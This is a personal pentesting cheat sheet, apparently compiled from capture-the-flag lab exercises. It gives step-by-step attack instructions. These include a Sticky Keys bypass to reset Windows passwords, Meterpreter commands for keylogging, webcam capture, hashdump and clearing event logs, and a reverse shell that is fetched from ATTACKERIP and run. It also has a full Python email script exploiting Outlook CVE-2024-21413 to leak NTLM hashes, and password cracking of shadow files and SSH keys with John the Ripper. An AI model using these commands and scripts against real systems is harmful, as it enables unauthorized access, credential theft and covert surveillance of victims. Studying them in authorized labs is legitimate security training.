RED BOOK

Short examples for pentesting/hacking

WINDOWS ACCOUNT LOGIN ACCESS

If we have physical access to target PC with Windows system, we can change any user password and log in as that user by exploiting Sticky Keys feature.

1. Insert win bootable USB
2. On first installation screen press shift+F10 for command prompt to appear.
3. In cmd type notepad.
4. Go to Save file as to get File Explorer.
5. In File Explorer navigate to System32, find file **sethc** (Sticky Keys) and rename it to sethc1.
6. In same directory find file **cmd** and rename it to sethc.
7. In cmd restart machine by typing: **wpeutil reboot**
8. Remove USB and go to login screen as usual.
9. Press shift fast 5+ times until Sticky Keys - now cmd/command prompt opens.
10. Now we have full system privileges and we can change user password
11. To check usernames of all users type: **net user**
12. To change user password type: **net user "USERNAME" 1234**

So now password for user is 1234, and we can log in as user.

GOBUSTER CRAWLER BRUTE FORCE WEBSITE PAGES

Using wordlist, search for directories, subdomains, pages on webserver.
gobuster dir -u http://WEBPAGE -w WORDLIST.txt
-u is used to state the website we're scanning,
-w takes a list of words to iterate through to find hidden pages
-dir search for directories
gobuster --help
gobuster COMMAND --help

Search through directories:
gobuster dir -u "http://www.example.thm/" -w /usr/share/wordlists/dirb/small.txt -t 64

Lists directories and inside files .php and .js
gobuster dir -u "http://www.example.thm" -w WORDLIST -x .php,.js

Search through subdomains:
gobuster dns -d example.thm -w WORDLIST

Search through vhosts (different websites on same ip):
gobuster vhost -u "http://example.thm" -w WORDLIST
gobuster vhost -u "http://IP" --domain example.thm -w WORDLIST --append-domain

--exclude-length 250-320

METASPLOIT COMMANDS

Msfconsole
Ls
Ping 8.8.8.8 -c1 (counter 1)
Help set
History
use MODULENAME
Show options
Show payloads
Info MODULENAME
Back
Search SOMETHING
Search type:auxiliary telnet
Set **RPORT**: “Remote port”, target port on the vulnerable system.
Set **PAYLOAD**: The payload you will use with the exploit.
Set **LHOST**: “Localhost”, the attacking machine (your AttackBox or Kali Linux) IP address.
Set **LPORT**: “Local port”, the port on attacker you will use for the reverse shell to connect back to.
Set **SESSION**: Each connection established to the target system using Metasploit have a session ID. You will use this with post-exploitation modules that will connect to the target system using an existing connection.
Setg -set values globally
Unset **unset all** -clear all parameters
Run - run configured exploit
Exploit -z -run process in background
background -check session name of running process
Sessions -check sessions info
Session -i SESSIONNUMBER -switch to session number

Examples
use exploit/windows/smb/ms17_010_eternalblue
Show options
set rhosts 10.10.165.3
Set rhosts FILEWITHTARGETIPS.txt

METERPRETER COMMANDS

Core commands
background: Backgrounds the current session
exit: Terminate the Meterpreter session

guid: Get the session GUID (Globally Unique Identifier)
help: Displays the help menu
info: Displays information about a Post module
irb: Opens an interactive Ruby shell on the current session
load: Loads one or more Meterpreter extensions
migrate: Allows you to migrate Meterpreter to another process
run: Executes a Meterpreter script or Post module
sessions: Quickly switch to another session

File system commands
edit: will allow you to edit a file
search: Will search for files
upload: Will upload a file or directory
download: Will download a file or directory

Networking commands
arp: Displays the host ARP (Address Resolution Protocol) cache
ifconfig: Displays network interfaces available on the target system
netstat: Displays the network connections
portfwd: Forwards a local port to a remote service
route: Allows you to view and modify the routing table

System commands
clearev: Clears the event logs
execute: Executes a command
getpid: Shows the current process identifier
getuid: Shows the user that Meterpreter is running as
kill: Terminates a process
pkill: Terminates processes by name
ps: Lists running processes
reboot: Reboots the remote computer
shell: Drops into a system command shell like CMD/Powershell
shutdown: Shuts down the remote computer
sysinfo: Gets information about the remote system, such as OS

Others Commands (these will be listed under different menu categories in the help menu)
idletime: Returns the number of seconds the remote user has been idle
keyscan_dump: Dumps the keystroke buffer
keyscan_start: Starts capturing keystrokes
keyscan_stop: Stops capturing keystrokes

screenshare: Allows you to watch the remote user's desktop in real time
screenshot: Grabs a screenshot of the interactive desktop
record_mic: Records audio from the default microphone for X seconds
webcam_chat: Starts a video chat
webcam_list: Lists webcams
webcam_snap: Takes a snapshot from the specified webcam
webcam_stream: Plays a video stream from the specified webcam
getsystem: Attempts to elevate your privilege to that of local system
hashdump: Dumps the contents of the SAM database

METERPRETER REVERSE SHELL EXAMPLE

On attacker:

msfvenom -p php/reverse_php LHOST=ATTACKERIP LPORT=8888 -f raw > reverse_shell.php

use exploit/multi/handler

set payload linux/x86/meterpreter/reverse_tcp

set lhost ATTACKERIP

set lport 9000

run

Transfer file to target device, on attacker device **run HTTP server**:

python3 -m http.server 9000 (open http on port 9000)

On target device:

wget http://ATTACKERIP:9000/reverse_shell.php

chmod 777 reverse_shell.php

./reverse_shell.php

Now reverse shell on meterpreter is opened.

MONKIER LINK (CVE-2024-21413)

Send Moniker Link to a victim, resulting in Outlook sending the user's NTLM credentials to the attacker once the hyperlink is clicked. The vulnerability here exists by modifying our hyperlink to include the ! special character and some text in our Moniker Link which results in bypassing Outlook's Protected View.
Example Monkier link in HTML code to send on target to click:
Click me.

Moniker link script for remote code execution, save as example.py
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Author: CMNatic | https://github.com/cmnatic
Version: 1.0 | 19/02/2024
'''
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.utils import formataddr
sender_email = 'attacker@monikerlink.thm' # Replace with your sender email address
receiver_email = 'victim@monikerlink.thm' # Replace with the recipient email address
password = input("Enter your attacker email password: ")
html_content = """\
<!DOCTYPE html>
<html lang="en">
    <p><a href="file://ATTACKER_MACHINE/test!example">Click me</a></p>


    </body>
</html>"""
message = MIMEMultipart()
message['Subject'] = "CVE-2024-21413"
message["From"] = formataddr(('CMNatic', sender_email))
message["To"] = receiver_email
# Convert the HTML string into bytes and attach it to the message object
msgHtml = MIMEText(html_content,'html')
message.attach(msgHtml)
server = smtplib.SMTP('MAILSERVER', 25)
server.ehlo()
try:
    server.login(sender_email, password)
except Exception as err:
    print(err)
    exit(-1)
try:
    server.sendmail(sender_email, [receiver_email], message.as_string())
    print("\n Email delivered")
except Exception as error:
    print(error)
finally:
    server.quit()
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With responder tool listen on ens5 network interface:

responder -I ens5
Run python exploit.py
When target clicks link we will get info, NTLMv2 hash from responder window.

JOHN THE RIPPER

RAR2JOHN
Brute force RAR password protected file.
rar2john [rar file] > [output file]
First, extract the hash (password hash) from a RAR file:
/opt/john/rar2john rarfile.rar > rar_hash.txt
Brute force file with rar hash:
john --wordlist=/usr/share/wordlists/rockyou.txt rar_hash.txt
Unpack password protected rar file and enter password found.
unrar rarfile.rar

SSH2john

Crack the SSH private key from id_rsa and brute force hash to get password. ssh2john converts the id_rsa private key, which is used to log in to the SSH session, into a hash format that John can work with.
python3 /opt/john/ssh2john.py
ssh2john [id_rsa private key file] > [output file]
/opt/john/**ssh2john.py FILE.id_rsa > ssh_hash.txt**
john --wordlist=/usr/share/wordlists/rockyou.txt ssh_hash.txt

Zip2john
Brute force ZIP password protected file. First create hash from zip file.
zip2john SOMEZIP.zip > ziphash.txt
Brute force hash zip file for password.
john --wordlist=/usr/share/wordlists/rockyou.txt ziphash.txt
john --show ziphash.txt

Custom rules John
Custom passwords generator.
In file: /opt/john/john.conf or /etc/john/john.conf create:
[List.Rules:THMRules] is used to define the name of your rule
Az: Takes the word and appends it with the characters you define
A0: Takes the word and prepends it with the characters you define
c: Capitalises the character positionally
[0-9]: Will include numbers 0-9
[0]: Will include only the number 0
[A-z]: Will include both upper and lowercase
[A-Z]: Will include only uppercase letters

[a-z]: Will include only lowercase letters
Example: [List.Rules:PoloPassword]
cAz"[0-9] [!£$%@]"
Utilises the following: c: Capitalises the first letter, Az: Appends to the end of the word, [0-9]: A number in the range 0-9
[!£$%@]: The password is followed by one of these symbols.
We cand then call this custom rule with argument using the --rule=PoloPassword flag.
john --wordlist=[path to wordlist] --rule=PoloPassword [path to hashfile]

UNHASH ROOT USER SHADOW FILE WITH JOHN
Unshadow /etc/passwd /etc/shadow > passfile.txt
john --wordlist=/usr/share/wordlists/rockyou.txt --format=sha512crypt passfile.txt
John --show passfile.txt

JOHN THE RIPPER - CRACK HASH
john --wordlist=[path to wordlist] --format=[format] [path to hashfile]
Use hash identifier to check for hash format:
https://hashes.com/en/tools/hash_identifier
Python hash identifier:
https://gitlab.com/kalilinux/packages/hash-identifier/-/tree/kali/master
Launch hash identifier: python3 hash-id.py
Search for John formats - check hash formats for md5:
john --list=formats | grep -iF "md5"
Example full command:
john --format=raw-sha256 --wordlist=/usr/share/wordlists/rockyou.txt hash3.txt
Check cracked hash:
Cat /home/user/src/john/run/john.pot

GOBUSTER CRAWLER BRUTE FORCE SEARCH WEBPAGES
Using wordlist, search for directories on webserver to detect what pages webserver have.
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TRANSFER FILES USING HTTP
Start http server with Python (Win) and download files on target with wget request.
On attacker (win):
python3 -m http.server 1234 c:/testdir
-1234 is port where http server will listen, and in last part is directory for http server (not required). For Linux, you could use **python -m SimpleHTTPServer PORT**
On target in CMD (win/linux/any):
wget http://ATTACKERIP:1234/SOMEFILEINROOTDIR